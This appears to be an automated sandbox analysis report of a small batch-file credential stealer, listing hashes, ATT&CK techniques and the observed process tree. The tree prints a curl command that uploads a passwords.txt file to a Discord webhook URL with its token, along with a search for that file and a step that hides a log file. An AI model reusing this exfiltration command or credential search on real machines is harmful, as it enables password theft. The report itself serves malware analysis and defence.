d40f26ee452c4e39054e929897695836d0fb72886850ea036222234a4a03280a

Resubmissions

15/08/2026, 16:07

260815-tkpbqszbre6

15/08/2026, 15:57

260815-ted9ksdq2s7

Analysis

user interaction
yes
max time kernel
66s
max time network
66s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/08/2026, 16:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
malware.bat
Size 5KB
Sample260815-tkpbqszbre
SHA256 d40f26ee452c4e39054e929897695836d0fb72886850ea036222234a4a03280a
MD5 7cb9233ac6aaffed74023895b48e36fc
SHA1 c9ab39f74572d5a245dd20eef5a2446d99bc4c26
SHA512 9ceab2613c010bc0ee4bddfaf7dc8b36cc28b989ff054652bc272ec0b5815b4946a816507fee65478d622698c18ad46e6833ba7e512522a9e04195ad38a570a5
SSDEEP 96:G3A2tipegHVaVTpZrqYOlOlOlOlOlOlOlOCOlOlOy:G39tipegHgTv4
TLSH
T14EB17E463C18927A066D0543DE75B8D7B73785830642AD1AFAD3D0B40A8CBE87E1FAD6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion discovery execution ransomware

Malware Config

Signatures

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
23	discord.com
24	discord.com

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1224	tasklist.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4120	cmd.exe
776	cmd.exe

Delays execution with timeout.exe 12 IoCs

defense_evasion

pid	Process
5928	timeout.exe
1696	timeout.exe
904	timeout.exe
5296	timeout.exe
5944	timeout.exe
5400	timeout.exe
2676	timeout.exe
996	timeout.exe
3484	timeout.exe
3292	timeout.exe
2328	timeout.exe
1728	timeout.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
852	NOTEPAD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1224	tasklist.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4120 wrote to memory of 5928	4120	cmd.exe	88
PID 4120 wrote to memory of 3484	4120	cmd.exe	89
PID 4120 wrote to memory of 1696	4120	cmd.exe	94
PID 4120 wrote to memory of 3292	4120	cmd.exe	97
PID 4120 wrote to memory of 904	4120	cmd.exe	100
PID 4120 wrote to memory of 2328	4120	cmd.exe	101
PID 4120 wrote to memory of 5296	4120	cmd.exe	102
PID 4120 wrote to memory of 5944	4120	cmd.exe	103
PID 4120 wrote to memory of 5400	4120	cmd.exe	104
PID 4120 wrote to memory of 1728	4120	cmd.exe	105
PID 4120 wrote to memory of 2676	4120	cmd.exe	106
PID 4120 wrote to memory of 996	4120	cmd.exe	107
PID 4120 wrote to memory of 776	4120	cmd.exe	108
PID 4120 wrote to memory of 5796	4120	cmd.exe	109
PID 4120 wrote to memory of 5632	4120	cmd.exe	110
PID 4120 wrote to memory of 1224	4120	cmd.exe	113
PID 4120 wrote to memory of 5872	4120	cmd.exe	114

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5796	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\malware.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4120
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:5928
- C:\Windows\system32\timeout.exe
  timeout /t 5
  2⤵
  - Delays execution with timeout.exe
  PID:3484
- C:\Windows\system32\timeout.exe
  timeout /t 10
  2⤵
  - Delays execution with timeout.exe
  PID:1696
- C:\Windows\system32\timeout.exe
  timeout /t 15
  2⤵
  - Delays execution with timeout.exe
  PID:3292
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:904
- C:\Windows\system32\timeout.exe
  timeout /t 5
  2⤵
  - Delays execution with timeout.exe
  PID:2328
- C:\Windows\system32\timeout.exe
  timeout /t 10
  2⤵
  - Delays execution with timeout.exe
  PID:5296
- C:\Windows\system32\timeout.exe
  timeout /t 15
  2⤵
  - Delays execution with timeout.exe
  PID:5944
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:5400
- C:\Windows\system32\timeout.exe
  timeout /t 5
  2⤵
  - Delays execution with timeout.exe
  PID:1728
- C:\Windows\system32\timeout.exe
  timeout /t 10
  2⤵
  - Delays execution with timeout.exe
  PID:2676
- C:\Windows\system32\timeout.exe
  timeout /t 15
  2⤵
  - Delays execution with timeout.exe
  PID:996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c dir C:\C:\Users\PC\OneDrive\Desktop/passwords.txt /s /b 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:776
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\AppData\Local\Temp\log.txt"
  2⤵
  - Views/modifies file attributes
  PID:5796
- C:\Windows\system32\curl.exe
  curl -X POST -F "file=@C:\Users\PC\OneDrive\Desktop/passwords.txt" "https://discord.com/api/webhooks/1538207299863191663/Sx318kBFCLi8njFjALNtftK4-_V6TdCZ0E_mUpdaNLULD6B_j4P1QJFom0bh83Y09Xtb"
  2⤵
  PID:5632
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:1224
- C:\Windows\system32\findstr.exe
  findstr /i "RobloxPlayerBeta.exe"
  2⤵
  PID:5872

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\passwords.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:852

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:4616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Process Discovery

T1057

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

log.txt

Path C:\Users\Admin\AppData\Local\Temp\log.txt
Size 11B
SHA256 a8a767a744fe3936aaf4bb0ceb1025052eec69e1fbc113abe1e14a2ac2d284c2
MD5 be2650ee3ee150d634b66f2cf250a8ab
SHA1 de560016dc21486a07b9b4b1d6b0407528dd97e2
SHA512 3363c6e97dbae335bc0e0fe4465b2a708b86f24cb050e48df15b6af39491ddf799872051df1814b204e7f17ca4079273e10d1c46382647570d46f0c25a05d301
MD5 SHA1 SHA512

Submit Download